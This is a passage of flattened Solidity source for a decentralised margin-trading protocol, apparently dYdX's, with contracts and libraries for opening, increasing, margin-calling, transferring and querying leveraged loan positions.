uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
contract LoanOfferingParser {
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes signature
)
internal
pure
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering;
fillLoanOfferingAddresses(loanOffering, addresses);
fillLoanOfferingValues256(loanOffering, values256);
fillLoanOfferingValues32(loanOffering, values32);
loanOffering.signature = signature;
return loanOffering;
}
function fillLoanOfferingAddresses(
MarginCommon.LoanOffering memory loanOffering,
address[9] addresses
)
private
pure
{
loanOffering.owedToken = addresses[0];
loanOffering.heldToken = addresses[1];
loanOffering.payer = addresses[2];
loanOffering.owner = addresses[3];
loanOffering.taker = addresses[4];
loanOffering.positionOwner = addresses[5];
loanOffering.feeRecipient = addresses[6];
loanOffering.lenderFeeToken = addresses[7];
loanOffering.takerFeeToken = addresses[8];
}
function fillLoanOfferingValues256(
MarginCommon.LoanOffering memory loanOffering,
uint256[7] values256
)
private
pure
{
loanOffering.rates.maxAmount = values256[0];
loanOffering.rates.minAmount = values256[1];
loanOffering.rates.minHeldToken = values256[2];
loanOffering.rates.lenderFee = values256[3];
loanOffering.rates.takerFee = values256[4];
loanOffering.expirationTimestamp = values256[5];
loanOffering.salt = values256[6];
}
function fillLoanOfferingValues32(
MarginCommon.LoanOffering memory loanOffering,
uint32[4] values32
)
private
pure
{
loanOffering.callTimeLimit = values32[0];
loanOffering.maxDuration = values32[1];
loanOffering.rates.interestRate = values32[2];
loanOffering.rates.interestPeriod = values32[3];
}
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract BucketLender is
Ownable,
OnlyMargin,
LoanOwner,
IncreaseLoanDelegator,
MarginCallDelegator,
CancelMarginCallDelegator,
ForceRecoverCollateralDelegator,
LoanOfferingParser,
LoanOfferingVerifier,
ReentrancyGuard
{
using SafeMath for uint256;
using TokenInteract for address;
event Deposit(
address indexed beneficiary,
uint256 bucket,
uint256 amount,
uint256 weight
);
event Withdraw(
address indexed withdrawer,
uint256 bucket,
uint256 weight,
uint256 owedTokenWithdrawn,
uint256 heldTokenWithdrawn
);
